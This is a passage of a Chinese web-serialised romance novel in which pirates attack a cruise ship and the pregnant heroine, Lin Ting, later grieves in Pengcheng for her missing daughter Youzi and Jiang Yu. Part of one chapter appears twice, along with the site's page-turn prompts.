他们只知道自己领了死任务,无论如何要保护林小姐的安全。 还没回答,陈叔望着窗外,满眼惊恐,“快看,有一艘大船。” 那艘大船的吊艇架落下来。 数艘快艇也跟着落进水里,荡起一阵浪花。 每艘快艇上都有十余个人头。 隔得远,游轮上的人看不清那些人的模样,也看不清他们手上拿着刀和枪。 吴婶下意识地抓紧陈叔的手臂,“老陈,今天我们会不会死在这里啊?” 小陈在旁边安慰着,“妈,你别胡思乱想,江先生在游轮上安排了好几十个雇佣兵级别的保镖,不会有事的。” 这样的安慰声,却无法安抚吴婶满心的慌张。 更慌张的人是林听。 柚子没在她的身边,她整个人悬着,如同被架上火上烤着。 “江遇和柚子在哪里?”她抓着其中一个保镖的手臂逼问,“我要去见柚子。” “小听,你还大着肚子,呆在房间里哪也不要去。”吴婶走上来,扶着她,“那伙人好像是海盗,他们要是登船了,很危险的。” 小陈也上前,看着她道,“是啊,太太,你大着肚子,行动不方便。呆在这里是最安全的,我去和江先生汇合,看看情况。” 高个子保镖安慰她,“林小姐,我让一个保镖跟着小陈。你放心,游轮上的每个保镖都配有枪枝,江先生和柚子是绝对安全的。” 离开小岛之前,这些保镖都是叫她太太。 因为那个时候,江遇笃定了林听一定会原谅他,和他破镜重圆。 但决定把她送回到周自衡的身边时,江遇吩咐过,让他们改了对林听的称呼。 所以这会儿,高个子保镖是叫她林小姐。 林听点点头,刚要准备说什么,“……” 轰! 一声巨响。 震耳欲聋的响起中,整个游轮一阵颠簸起来。 沉浮不稳中,高个子保镖紧紧地搀扶着她,“林小姐,小心。” 空气里,是刺鼻又难闻的火药味。 游轮的音响喇叭里,传来一阵又一阵的警报声。 江遇带着小柚子已经离开了驾驶舱,准备穿过餐厅,坐电梯抵达游轮的第五层,林听所在的房间。 这声轰隆隆的炮响声,吓得柚子紧紧抱着他的脖子。 他下意识地趴在地上,把柚子整个人护在怀里。 漫天碎片夹杂着浓浓的火药味,落在他的身上,他紧紧地护着柚子的脑袋和身子。 “柚子别怕,爸爸在这里。” 他挡着柚子。 杰西和另外几个保镖,则挡着他。 碎片从高处落下来,终于能看清周围的环境后,杰西一脸沉重,“mr江,通往楼上的通道被炸毁了。” 杰西爬起来,去按电梯,“电力系统也被破坏了。” 这伙海盗来势汹汹。 他们的游轮上竟然配有炮弹。 可见不是一般的海盗。 杰西试着按了几下,“幸好,通讯系统恢复了。” 他试着呼叫林听所在的房间,“莱恩,莱恩,听到请回答,听到请回答。” 莱恩就是保护在林听身边的,那个高个子的保镖,他立即按下通讯键,“杰西。” 杰西用内部语言和莱恩交流着,“听着,现在你到林小姐,坐到那辆mr江准备的比亚迪定制车上,等候命令。如果二十分钟内,我没有带着mr江与你汇合,你让小陈驾驶着那辆海路两通的比亚迪离开这艘游轮。听见了吗?” 莱恩坚决执行任务,“收到。” 杰西又说,“还有,先不要让林小姐知道。” 否则,林小姐一定不肯上那辆车。 通话结束。 林听闻着漫天的火药味,满眼焦急,“杰西说了什么?” 莱恩眼神坚定,“杰西让我带你去和柚子汇合,林小姐请吧。” 林听以为真的是要去和柚子汇合,她跟在莱恩的后面,前后都有保镖保护着她。 吴婶和陈叔还有小陈,也跟在身边。 到了一个货物舱,林听这才意识到有些不太对劲儿,“柚子呢?” 莱恩一脸沉重,“林小姐,这辆轿车是mr江从国内定制的,特意运过来的。它可以在水上航行三百多公里,即使没有油了,依然能安全地漂浮在海上,等待救援。mr江命令我,一定带你安全撤离这里。” “不。”林听坚决不同意,“江遇和柚子不过来,我不会离开这里。” 自从经历过那一次癌症晚期的事情,她好不容易活下来后,她答应过柚子,以后再也不要和柚子分开。 她不能为了活下去,就把柚子丢在这里。 尽管她知道,江遇一定会拼尽自己的生命,来保护柚子,可是她依然心悬一线。 “柚子和江遇在哪里?带我去见他们,拜托你了,莱恩。” 惊恐的眼神里,是深深的哀求。 莱恩身姿笔挺,在他眼里只有任务,没有人情,“抱歉,林小姐,我的任务是送你安全离开这里。其余的要求,我不能满足你。” 林听也十分坚定,“见不到柚子和江遇,我不会离开这里。” “……”莱恩没有应声,他朝林听身后的一个雇佣兵使了一个眼神。 下一瞬,一个掌力砍在林听的后脖颈。 她像一截被砍断的树枝一样,倒在身后那保镖的怀里。 “小听!”陈叔和吴婶同时惊了一声。 莱恩说,“放心,林小姐不会有事。陈叔,吴婶,麻烦你们和林小姐一起上车。这是mr江的命令。” 不一会儿,船舱的升降板落下去。 这辆载着林听和陈叔吴婶还有小陈和莱恩的比亚迪高端定制水陆两通的轿车,离开游轮,渐渐远去。 吴婶不停地祈祷着,“佛主,保佑柚子和江先生平安无事,如果可以,老婆子我愿意减寿十年二十年……” 游轮越来越远,直到只剩下接天连海的阴霾,黑沉沉地压在胸口。 第182章 见到周自衡 三日后。 林听做了一个噩梦。 梦里,一只手臂悬挂在一个栏杆处。 一个月牙般的大弯刀,一刀一刀地砍在那只结实有力的手臂上。 她不知道这只手臂到底是江遇的,还是周自衡的。 她惊得冒了一身冷汗,猛然从床上翻身坐起来。 直到肚子里传来一阵又一阵小家伙猛踢她的痛感,她这才意识到刚刚那只是一个梦。 “醒了?” 是周自衡的声音。 这个声音,让她分不清是现实,还是梦里。 她紧崩全身的每一根神经,感受着小家伙继续踢她的疼痛感,云里雾里地转头望去。 是周自衡! 是她这大半年来朝思暮想的男人。 可是此时此刻,她根本来不及感受这重逢的喜悦,紧紧抓着周自衡的手,眼泪滚滚而落。 “周自衡,你看到柚子吗?” “柚子在哪里?” 男人深吸一口气。 手指紧紧一攥。 不知如何回答她,唯有将她轻轻揽进怀里。 隔着厚厚的衣服,他也能清晰地感受到肚子里的小家伙在踢着妈妈,鼓起好大个我来。 陈叔和吴婶打电话给他后,他连夜从国内赶到这个国家,和他们汇合。 得知林听肚子里的孩子,是他的孩子时,他欣喜万分。 可是同时接收到一个巨大的噩耗。 江遇带着林听和柚子返程的航海路线上,遇到了水龙卷,游轮的雷达系统坏掉了,又遇到了凶猛的海盗,一炮轰在了他们的游轮上。 危急时刻,只有林听他们几人逃出来了。 江遇和柚子,音信全无。 赶到这个国家后,周自衡便让洛高联系了国内外的搜索团队,争分夺秒地前去搜救。 可是茫茫大海,联络不上那艘游轮,他们根本没有搜救的准确方向。 想要找到江遇和柚子,无疑是大海捞针。 怀里的人儿哭得颤抖。 周自衡的大掌,轻轻地拍着她的背,“搜救队还在搜救,一定可以找到柚子和江遇的。” 他压着音色里的哽咽,安慰着。 林听在他怀里哭了好一会儿,哭累了。 终于红肿着眼睛,抬头,“周自衡,柚子的命好苦。” 她从小出生在监狱里。 一直和她过着苦日子。 记忆里,她出狱后搬了无数次家。 她从来没有给过柚子一个安全温暖的港湾。 现在柚子又…… 她没有办法想象,莱恩带着她和陈叔吴婶离开后,江遇和柚子在游轮上会经历些什么。 那些海盗毫无人性。 或许江遇和柚子,已经…… 想到这里,她哽咽得无法呼吸。 越是如此,肚子里的胎动越是厉害,嘶…… 见她紧紧蹙眉,周自衡温暖的大掌颤抖地落在她的小腹处。 那里面住着一个小生命,是他周自衡的种。 听吴婶说,还是一个可爱又调皮的女宝宝。 多年前他许下的愿望,终于实现了。 感受着林听小腹处的生命力,周自衡却半点也高兴不起来。 没想到,会是在这样的情况下得知林听怀了他的孩子。 林听的手掌,落在周自衡颤抖的手背上,“周自衡,这是我和你的孩子。是个女孩!” 她喉咙发紧,声音在颤抖,“柚子她可喜欢这个妹妹了。” 不知道妹妹出生后,还能不能见到乖巧懂事的柚子姐姐。 泪水大颗大颗地落下来。 落在周自衡颤抖的手背上。 重逢的这一刻,两人的心情没有片刻的欢喜,沉甸甸的,堵堵的,像是胸口被人强行灌了水泥一样。 “对不起,是我没有保护好你,也没有保护好柚子。 …… 他们在这个小国家,呆了大半个月。 甚至是出动了这个小国家的军方力量,也没有找到柚子和江遇的下落。 柚子和江遇,像是石沉大海了一样。 随着林听怀孕的月份越来越大,周自衡只好先带她回国。 这半个月对林听来说,如是下了地狱一样。 她从来没有离开过柚子这么久的时间。 每天她都吃不好,睡不好。 每天都从噩梦中醒过来。 回到鹏城,林建国和林振宇还有江书臣宋律风,第一时间来接机。 看到脸色沉重的周自衡,还有大着肚子,脸色苍白的林听,众人一头雾水,不明白发生了什么。 这些人也不知道,林听肚子里的孩子到底是江遇的,还是周自衡的。 只见周自衡搀扶着她,沉默不言。 宋律风朝几人的身后望去,看到了陈叔吴婶还有小陈,以及一个保镖,没有看到柚子和江遇的身影。 内心里突然涌起不股不好的预感。 “小听,柚子和江遇呢,怎么没和你们一起回来?” 悲伤袭卷着林听的身心。 她怔怔地站在周自衡的面前。 此刻满心满脑都是柚子那小小一团的身影,过于悲痛的她,一时之间五感尽失。 她没有听到宋律风的问话。 本小章还未完,请点击下一页继续阅读后面精彩内容! 身体出现了一知种生理性的麻木,整个人沉浸在自己的思维里,像个丢了魂的人一样。 鹏城的阳春三月,明明阳光明媚。 此刻众人见到林听这般神色,顿时感觉到连空气都变冷了一下。 林振宇上前,抓住林听的手问,“小听,柚子和江遇呢,怎么没和你们一起回来?” 林听还是像丢了魂一样,没有听见,也没有应声。 林振宇又望向旁边脸色沉重的周自衡,“周自衡,到底怎么回事,发生什么事了?” 所有人的心都被紧紧一攥。 林建国见到半年不见的女儿,眼神麻木空洞,他整个心被撕裂。 江遇这个浑蛋,到底对他的宝贝女儿做了什么? 周自衡抱着怀里的林听,望向众人,“你们别问了,回去再说。” 越是这样,众人越是忐忑不安。 只见周自衡拥着行尸走肉般的林听,上了一辆保姆车。 车门缓缓闭上,林振宇这才逮着同样脸色阴沉的陈叔和吴婶,问,“到底发生什么事了?” 吴婶的眼泪不断地淌下来,声音也是沙哑的,“江先生和小柚子,没,没了……” 林振宇烦燥不安地吼了一声,“什么叫没了,没了是什么意思?” 旁边苍老了许多的陈叔,沉沉道,“回来的航线上,我们遇到了海盗,江先生和柚子可能已经遇难了。” 轰! 像是一个晴天霹雳,当头霹在众人的头顶。 林振宇顿时双眼通红,泪水浸满眼眶,“怎么可能,小柚子还没享几天福,怎么可能就……” 小陈应声,“林先生,是真的。” “你在胡说八道什么?”林振宇拎起小陈的衣领,额角紧紧崩着,“江遇和柚子怎么可能遇难。柚子她……” 可怜的柚子。 从小跟着他妹妹一起颠沛流离,从来没有过过一天好日子。 怎么就遇难了呢? 林振宇咬着牙,全身都在颤抖。 还是身旁的宋律风把他拉过来,吼了他一声,“别在这里发疯了。” 现在是要弄清楚,到底发生了什么事。 尽管宋律风此刻心绪大乱,却还是保持着理智,耐心地询问着小陈和吴婶陈叔几人。 今天和他们一起来接机的,还有落落和江嘉树两个小朋友。 两个小朋友很久没有见到柚子妹妹了。 听闻柚子妹妹在海上遇到了龙卷风和海盗,两个小朋友脸色沉重。 都快哭了。 落落扯了扯宋律风的衣袖,问,“爸爸,柚子妹妹真的死掉了吗?” 江嘉树也不愿意接受这样的事实,他也昂起脑袋来,看着自己的爸爸江书臣,“爸爸,柚子妹妹不可能出事的,对不对?” 两个大人,都不知道该怎么回答孩子们。 他们满心欢喜地来机场接柚子妹妹回家,并且为柚子妹妹准备了接风洗尘的晚宴。 怎么会是如此噩耗。 哽咽着的宋律风,安慰了两个孩子几句,然后看向林振宇和林建国,“小听现在一定很难过。现在最重要的是,你们不要再去烦她了,也不要再出现在她面前,等过一段日子再说。” “你说的是什么话?”林振宇愤怒道,“我妹妹出了这样的事情,我的外甥女出事了,我还不能安慰我妹妹几句?” 随同的江书臣,冷声问,“你觉得,你的安慰有用吗?” 江书臣自问自答,又说,“你的安慰不但没用,还会让小听更加烦恼痛苦。你明明知道小听不想见到你们父子俩。” “那是我妹妹,我亲妹妹……”林振宇握紧拳头,就要上前和江书臣理论。 身侧的林建国一把拉住他,“振宇,书臣说得对。这个时候,我们就不要给你小妹添麻烦了。有什么进展,让书臣和宋律师告诉我们。你没看见你妹妹怀着身孕,万一再有个什么闪失,你担得起吗?” 父亲这样劝告,林振宇这才恢复理智。 他随口问了一句,“不知道小听肚子里的孩子是谁的?” 谁都不知道答案。 …… 鹏城的春天,天气格外明媚。 林听回到鹏城,已经有一个星期了。 她在那座不知名的小岛上,呆了大半年,习惯了那里常年飞雪。 回到如此春光明媚的鹏城,还真的有点不适应这里的气候。 想到岛屿上,她与柚子的种种,她哭了一场又一场。 这一个星期,她没有踏出过房门半步。 胎动也有些不正常。 经常被肚子里的小宝踢到疼得不行。 隔壁的张淑琴和周国立,带着落落和盼盼,来看了她几回。 见到再生父母,林听倒是伪装出坚强来,和他们说了会儿话。 等他们一走,又是一个人呆呆地坐在窗前,不说话,发着呆,什么事都不想干。 这是张淑琴和周国立,第n次来探望她。 走出她的房间,张淑琴忍不住掩面而泣。 柚子那么可爱的孩子,怎么就遇上这种祸事,这孩子从小就苦命。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 张淑琴哭得不行。 抱着盼盼的周国立,也是用盼盼的衣服擦着泪,连连唉声叹气。 “我们小听和柚子的命,怎么就这么苦啊?” 跟在旁边的落落,哭得像个泪人儿,“我好想柚子妹妹,呜呜呜,柚子妹妹好可怜,呜呜呜……” 张淑琴和周国立带着落落和盼盼离开后,林听去了柚子的房间。 屋子还是原来的样子。 她和柚子不在的这大半年,周自衡每天亲自打扫柚子的屋子。 里面一尘不染,连摆饰也和走之前一模一样。 林听坐在床边。 颤抖的手指落在床头柜上,那本柚子从小到大的相册上。 她不敢翻开来看。 这几天她基本处于哭了停,停了接着哭,哭到站都站不起来的状态。 多等一分钟,就多一分钟的痛苦。 相册是冰凉的。 直接触达林听的心底,她抱着相册,又伤伤心心地哭了起来。 接了一通电话的周自衡,回到卧室没见到林听,见她坐在柚子的床边抽泣着。 他大步走过去,坐下来,紧紧地将她拥入怀里。 “林听,一定还会有希望的。” “江遇不会让柚子出事。” 怀里的林听哭到抽泣,颤抖,失声,生理性五感失觉。 周自衡怕林听再出什么意外,他掏出手机,安抚道,“三天前,江遇出事之前给我通了一个电话。我的手机有自动录音功能,林听,你听一听江遇说的话。” 他把录音翻出来,播放给林听听: “周自衡,听我说,我没多少时间了。” “江遇,发生什么事了?” “你别说话,我真的没多少时间了……” “阿衡,对不起,都是我的错,你一定要照顾好柚子和听听。” “听听肚子里的孩子,是你的。我看过四维彩超,很可爱的小女孩,鼻子和你一样挺。” “我可能快不行了,你一定要替我照顾好她们母女……对不起,阿衡。帮我转告听听,我永远爱她……” 江遇的声音,夹杂着枪声,还有翻滚的海浪声。 接着,扑通一声。 电话录音中断。 周自衡放下手机,理智地分析道,“林听,听我说,柚子肯定没事。江遇在电话里交代给我的话,是要我照顾好你和柚子。这就说明,他遇险之前,已经妥善安排好柚子了。柚子现在一定是安全的,可能她就在世界的哪个角落里,只是暂时还没有办法和我们联系上。” 周自衡相信江遇。 就算是付出生命,他也一定会保护好柚子的。 这个男人虽然之前做了很多猪狗不如的事情,但他到了关键时刻,是会为自己的亲生女儿豁出去性命的。 喜欢心跳停止时,他的婚礼在放烟花请大家收藏:()心跳停止时,他的婚礼在放烟花书海阁小说网更新速度全网最快。三日后。 林听做了一个噩梦。 梦里,一只手臂悬挂在一个栏杆处。 一个月牙般的大弯刀,一刀一刀地砍在那只结实有力的手臂上。 她不知道这只手臂到底是江遇的,还是周自衡的。 她惊得冒了一身冷汗,猛然从床上翻身坐起来。 直到肚子里传来一阵又一阵小家伙猛踢她的痛感,她这才意识到刚刚那只是一个梦。 “醒了?” 是周自衡的声音。 这个声音,让她分不清是现实,还是梦里。 她紧崩全身的每一根神经,感受着小家伙继续踢她的疼痛感,云里雾里地转头望去。 是周自衡! 是她这大半年来朝思暮想的男人。 可是此时此刻,她根本来不及感受这重逢的喜悦,紧紧抓着周自衡的手,眼泪滚滚而落。 “周自衡,你看到柚子吗?” “柚子在哪里?” 男人深吸一口气。 手指紧紧一攥。 不知如何回答她,唯有将她轻轻揽进怀里。 隔着厚厚的衣服,他也能清晰地感受到肚子里的小家伙在踢着妈妈,鼓起好大个我来。 陈叔和吴婶打电话给他后,他连夜从国内赶到这个国家,和他们汇合。 得知林听肚子里的孩子,是他的孩子时,他欣喜万分。 可是同时接收到一个巨大的噩耗。 江遇带着林听和柚子返程的航海路线上,遇到了水龙卷,游轮的雷达系统坏掉了,又遇到了凶猛的海盗,一炮轰在了他们的游轮上。 危急时刻,只有林听他们几人逃出来了。 江遇和柚子,音信全无。 赶到这个国家后,周自衡便让洛高联系了国内外的搜索团队,争分夺秒地前去搜救。 可是茫茫大海,联络不上那艘游轮,他们根本没有搜救的准确方向。 想要找到江遇和柚子,无疑是大海捞针。 怀里的人儿哭得颤抖。 周自衡的大掌,轻轻地拍着她的背,“搜救队还在搜救,一定可以找到柚子和江遇的。” 他压着音色里的哽咽,安慰着。 林听在他怀里哭了好一会儿,哭累了。 终于红肿着眼睛,抬头,“周自衡,柚子的命好苦。” 她从小出生在监狱里。 一直和她过着苦日子。 记忆里,她出狱后搬了无数次家。 她从来没有给过柚子一个安全温暖的港湾。 现在柚子又…… 她没有办法想象,莱恩带着她和陈叔吴婶离开后,江遇和柚子在游轮上会经历些什么。 那些海盗毫无人性。 或许江遇和柚子,已经…… 想到这里,她哽咽得无法呼吸。 越是如此,肚子里的胎动越是厉害,嘶…… 见她紧紧蹙眉,周自衡温暖的大掌颤抖地落在她的小腹处。 那里面住着一个小生命,是他周自衡的种。 听吴婶说,还是一个可爱又调皮的女宝宝。 多年前他许下的愿望,终于实现了。 感受着林听小腹处的生命力,周自衡却半点也高兴不起来。 没想到,会是在这样的情况下得知林听怀了他的孩子。 林听的手掌,落在周自衡颤抖的手背上,“周自衡,这是我和你的孩子。是个女孩!” 她喉咙发紧,声音在颤抖,“柚子她可喜欢这个妹妹了。” 不知道妹妹出生后,还能不能见到乖巧懂事的柚子姐姐。 泪水大颗大颗地落下来。 落在周自衡颤抖的手背上。 重逢的这一刻,两人的心情没有片刻的欢喜,沉甸甸的,堵堵的,像是胸口被人强行灌了水泥一样。 “对不起,是我没有保护好你,也没有保护好柚子。 …… 他们在这个小国家,呆了大半个月。 甚至是出动了这个小国家的军方力量,也没有找到柚子和江遇的下落。 柚子和江遇,像是石沉大海了一样。 随着林听怀孕的月份越来越大,周自衡只好先带她回国。 这半个月对林听来说,如是下了地狱一样。 她从来没有离开过柚子这么久的时间。 每天她都吃不好,睡不好。 每天都从噩梦中醒过来。 回到鹏城,林建国和林振宇还有江书臣宋律风,第一时间来接机。 看到脸色沉重的周自衡,还有大着肚子,脸色苍白的林听,众人一头雾水,不明白发生了什么。 这些人也不知道,林听肚子里的孩子到底是江遇的,还是周自衡的。 只见周自衡搀扶着她,沉默不言。 宋律风朝几人的身后望去,看到了陈叔吴婶还有小陈,以及一个保镖,没有看到柚子和江遇的身影。 内心里突然涌起不股不好的预感。 “小听,柚子和江遇呢,怎么没和你们一起回来?” 悲伤袭卷着林听的身心。 她怔怔地站在周自衡的面前。 此刻满心满脑都是柚子那小小一团的身影,过于悲痛的她,一时之间五感尽失。 她没有听到宋律风的问话。 本小章还未完,请点击下一页继续阅读后面精彩内容! 身体出现了一知种生理性的麻木,整个人沉浸在自己的思维里,像个丢了魂的人一样。 鹏城的阳春三月,明明阳光明媚。 此刻众人见到林听这般神色,顿时感觉到连空气都变冷了一下。 林振宇上前,抓住林听的手问,“小听,柚子和江遇呢,怎么没和你们一起回来?” 林听还是像丢了魂一样,没有听见,也没有应声。 林振宇又望向旁边脸色沉重的周自衡,“周自衡,到底怎么回事,发生什么事了?” 所有人的心都被紧紧一攥。 林建国见到半年不见的女儿,眼神麻木空洞,他整个心被撕裂。 江遇这个浑蛋,到底对他的宝贝女儿做了什么? 周自衡抱着怀里的林听,望向众人,“你们别问了,回去再说。” 越是这样,众人越是忐忑不安。 只见周自衡拥着行尸走肉般的林听,上了一辆保姆车。 车门缓缓闭上,林振宇这才逮着同样脸色阴沉的陈叔和吴婶,问,“到底发生什么事了?” 吴婶的眼泪不断地淌下来,声音也是沙哑的,“江先生和小柚子,没,没了……” 林振宇烦燥不安地吼了一声,“什么叫没了,没了是什么意思?” 旁边苍老了许多的陈叔,沉沉道,“回来的航线上,我们遇到了海盗,江先生和柚子可能已经遇难了。” 轰! 像是一个晴天霹雳,当头霹在众人的头顶。 林振宇顿时双眼通红,泪水浸满眼眶,“怎么可能,小柚子还没享几天福,怎么可能就……” 小陈应声,“林先生,是真的。” “你在胡说八道什么?”林振宇拎起小陈的衣领,额角紧紧崩着,“江遇和柚子怎么可能遇难。柚子她……” 可怜的柚子。 从小跟着他妹妹一起颠沛流离,从来没有过过一天好日子。 怎么就遇难了呢? 林振宇咬着牙,全身都在颤抖。 还是身旁的宋律风把他拉过来,吼了他一声,“别在这里发疯了。” 现在是要弄清楚,到底发生了什么事。 尽管宋律风此刻心绪大乱,却还是保持着理智,耐心地询问着小陈和吴婶陈叔几人。 今天和他们一起来接机的,还有落落和江嘉树两个小朋友。 两个小朋友很久没有见到柚子妹妹了。 听闻柚子妹妹在海上遇到了龙卷风和海盗,两个小朋友脸色沉重。 都快哭了。 落落扯了扯宋律风的衣袖,问,“爸爸,柚子妹妹真的死掉了吗?” 江嘉树也不愿意接受这样的事实,他也昂起脑袋来,看着自己的爸爸江书臣,“爸爸,柚子妹妹不可能出事的,对不对?” 两个大人,都不知道该怎么回答孩子们。 他们满心欢喜地来机场接柚子妹妹回家,并且为柚子妹妹准备了接风洗尘的晚宴。 怎么会是如此噩耗。 哽咽着的宋律风,安慰了两个孩子几句,然后看向林振宇和林建国,“小听现在一定很难过。现在最重要的是,你们不要再去烦她了,也不要再出现在她面前,等过一段日子再说。” “你说的是什么话?”林振宇愤怒道,“我妹妹出了这样的事情,我的外甥女出事了,我还不能安慰我妹妹几句?” 随同的江书臣,冷声问,“你觉得,你的安慰有用吗?” 江书臣自问自答,又说,“你的安慰不但没用,还会让小听更加烦恼痛苦。你明明知道小听不想见到你们父子俩。” “那是我妹妹,我亲妹妹……”林振宇握紧拳头,就要上前和江书臣理论。 身侧的林建国一把拉住他,“振宇,书臣说得对。这个时候,我们就不要给你小妹添麻烦了。有什么进展,让书臣和宋律师告诉我们。你没看见你妹妹怀着身孕,万一再有个什么闪失,你担得起吗?” 父亲这样劝告,林振宇这才恢复理智。 他随口问了一句,“不知道小听肚子里的孩子是谁的?” 谁都不知道答案。 …… 鹏城的春天,天气格外明媚。 林听回到鹏城,已经有一个星期了。 她在那座不知名的小岛上,呆了大半年,习惯了那里常年飞雪。 回到如此春光明媚的鹏城,还真的有点不适应这里的气候。 想到岛屿上,她与柚子的种种,她哭了一场又一场。 这一个星期,她没有踏出过房门半步。 胎动也有些不正常。 经常被肚子里的小宝踢到疼得不行。 隔壁的张淑琴和周国立,带着落落和盼盼,来看了她几回。 见到再生父母,林听倒是伪装出坚强来,和他们说了会儿话。 等他们一走,又是一个人呆呆地坐在窗前,不说话,发着呆,什么事都不想干。 这是张淑琴和周国立,第n次来探望她。 走出她的房间,张淑琴忍不住掩面而泣。 柚子那么可爱的孩子,怎么就遇上这种祸事,这孩子从小就苦命。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 张淑琴哭得不行。 抱着盼盼的周国立,也是用盼盼的衣服擦着泪,连连唉声叹气。 “我们小听和柚子的命,怎么就这么苦啊?” 跟在旁边的落落,哭得像个泪人儿,“我好想柚子妹妹,呜呜呜,柚子妹妹好可怜,呜呜呜……” 张淑琴和周国立带着落落和盼盼离开后,林听去了柚子的房间。 屋子还是原来的样子。 她和柚子不在的这大半年,周自衡每天亲自打扫柚子的屋子。 里面一尘不染,连摆饰也和走之前一模一样。 林听坐在床边。 颤抖的手指落在床头柜上,那本柚子从小到大的相册上。 她不敢翻开来看。 这几天她基本处于哭了停,停了接着哭,哭到站都站不起来的状态。 多等一分钟,就多一分钟的痛苦。 相册是冰凉的。 直接触达林听的心底,她抱着相册,又伤伤心心地哭了起来。 接了一通电话的周自衡,回到卧室没见到林听,见她坐在柚子的床边抽泣着。 他大步走过去,坐下来,紧紧地将她拥入怀里。 “林听,一定还会有希望的。” “江遇不会让柚子出事。” 怀里的林听哭到抽泣,颤抖,失声,生理性五感失觉。 周自衡怕林听再出什么意外,他掏出手机,安抚道,“三天前,江遇出事之前给我通了一个电话。我的手机有自动录音功能,林听,你听一听江遇说的话。” 他把录音翻出来,播放给林听听: “周自衡,听我说,我没多少时间了。” “江遇,发生什么事了?” “你别说话,我真的没多少时间了……” “阿衡,对不起,都是我的错,你一定要照顾好柚子和听听。” “听听肚子里的孩子,是你的。我看过四维彩超,很可爱的小女孩,鼻子和你一样挺。” “我可能快不行了,你一定要替我照顾好她们母女……对不起,阿衡。帮我转告听听,我永远爱她……” 江遇的声音,夹杂着枪声,还有翻滚的海浪声。 接着,扑通一声。 电话录音中断。 周自衡放下手机,理智地分析道,“林听,听我说,柚子肯定没事。江遇在电话里交代给我的话,是要我照顾好你和柚子。这就说明,他遇险之前,已经妥善安排好柚子了。柚子现在一定是安全的,可能她就在世界的哪个角落里,只是暂时还没有办法和我们联系上。” 周自衡相信江遇。 就算是付出生命,他也一定会保护好柚子的。 这个男人虽然之前做了很多猪狗不如的事情,但他到了关键时刻,是会为自己的亲生女儿豁出去性命的。 喜欢心跳停止时,他的婚礼在放烟花请大家收藏:()心跳停止时,他的婚礼在放烟花书海阁小说网更新速度全网最快。 第183章 江遇的遗言 周自衡的理智分析,让林听停止了哭泣。 她把这通电话录音,又重新听了一遍。 海浪翻滚的巨响声里,夹杂着混乱的枪声,江遇的声音虚弱到了极点。 最后一声扑通的声音,像是一个重物砸进了巨浪里。 林听的心脏也被狠狠地砸了一下。 在小岛上,江遇因为她被人用西瓜刀般又长又锋利的刀刃,狠狠砍过好几刀。 那个时候,江遇有生命危险。 她不希望他死。 不管曾经他们有多少恩怨情仇,这个悔悟后一心想要当个好爸爸的男人,总归是柚子在这个世界上为数不多的亲人。 而且是柚子的至亲。 这一声扑通声,仿佛像是江遇掉进茫茫大海的声音。 随着这声扑通声,录音里只剩下咕噜咕噜的水浪声。 最后什么也听不见了。 脑海里是江遇最后快不行的时候,撑着给周自衡打电话,说遗言,然后又掉进海里,手机跟着砸进海浪里,录到海水咕噜咕噜的画面。 林听敢断定,江遇一定是出事了。 但他出事之前,能这么对周自衡交代后事,要周自衡照顾好她和柚子。 这确实是如周自衡分析的一样,江遇一定是安顿好了柚子,把她藏在了一个安全的地方。 可是,事情都过去二十多天了。 他们没有柚子任何的消息。 见她眼睛哭得像青蛙一样,又红又肿,整张脸因为多日休息不好,显得有些浮肿,周自衡心都要碎掉了。 带着薄茧的手指指腹,拭过她的泪痕。 又轻声安慰。 “江遇一定安顿好了柚子,也一定会派最得力的保镖,保护在柚子的身边。” “那些保镖是国际上口碑最好的敢死队保镖集团出来的,和江遇签了生死契约。” “他们经过专业的训练,像这种海上危机事件,他们一定能够冷静理智地处理。” “说不定柚子和你一样,也离开了那艘海盗肆意的游轮,暂时脱离了危险。” “就算他们还被困在海上,江遇身边的保镖一定会准备足够的食物和水。” “相信江遇,柚子肯定还活着!” 这样的分析,像是往林听的心里注入了一剂强力的强心剂。 抬手,贴在周自衡抚着她潮湿的脸颊的手背上,“真的吗?” 周自衡用力点头,“真的,我们要相信江遇。” “嘶……”林听皱眉。 肚子里的小宝又踢她了。 不过这一次,小宝踢得并不重。 踢一下,便又消停了。 仿佛连这个小家伙,也在安慰她。 周自衡擦着她脸上控制不住的泪水,轻声哄道,“你回国这么多天,还没有去医院做过产检,一会儿吃了午饭,休息一下,我带你去全面检查一下。” “我哪里也不想去。”她只想呆在柚子的房间里。 “乖!”他又替她擦了擦泪,“柚子回来了,一定想看到一个健健康康的妈妈。我们乖乖去做产检,好不好?” 这个时候,洛叔站在柚子的房间门口,轻轻地叩了叩门。 周自衡抬头望去,“周先生,您可以出来一下吗?” “等我一下。”周自衡吻了吻林听的额头。 起身,走到门外,轻轻掩了掩柚子的房门。 洛叔站在面前,蹙着眉心道,“林小姐的父亲和大哥,在楼下,说是想见林小姐一面。我们赶不走。” 周自衡看了看坐在柚子床边,抱着柚子的相册,深深思念的林听。 这个时候要是再见到那个混球,林听得会更受刺激。 他阴沉着脸色,应了一声,“我下去看看。” 林振宇等在门外。 见到周自衡出来后,赶紧大步迎上去。 “周自衡,我妹妹怎么样了?” “她这几天还好吗?” “我想上去看看她,可以吗?” 周自衡冷着脸色,“你不知道你自己是个什么东西吗?” 一句话,惹得林振宇脸色铁青,就要和周自衡干架。 但他想到他是来看他的小妹林听的,不是来和周自衡打架的。 这股往上直串的火气,被林振宇强制压了下去。 但他铁青着脸色,语气生硬道,“周自衡,虽然你是小听现在喜欢的男人,小听喜欢你,我和我爸也就支持你们在一起。可是毕竟你还没有娶小听。还轮不到你来教训我。” “况且……”说到这里,林振宇停顿了一下,“小听是怀着身孕回来的。这孩子肯定是江遇的。万一江遇回来了,你就不怕我们都支持小听和江遇破镜重圆,到时候你只能靠边站吗?” 都这个时候了,林振宇还像是搅屎棍一样,又臭又硬。 林听怎么会有这样拎不清的大哥? “林听肚子里的孩子,是我的。” “这个时候,是你体现你当大哥的权威的时候,还是让林听安安养身体的时候?” 林振宇仿佛不相信,“你说什么,孩子是你的,不是江遇的?” 可是江遇把林听带走了大半年。 这个孩子不应该是江遇的吗? 周自衡冷声警告,“如果你真的关心林听,这段日子就别来打扰她。她需要安静养胎。你应该知道,她看到你心情不会更好,只会更差。” 这样的提醒,让林振宇哑口无言。 他深知自己做过很多伤害小妹的事情。 小妹见到他,确实心情糟糕。 可是,他也是出于关心小妹,太过焦急。 谁能体谅一下,他这个当大哥的,有多担心? 林振宇痛心道,“那你转告一下小听,我来看过她了。我希望她振作一点,说不定江遇哪一天就带着柚子回来了。” 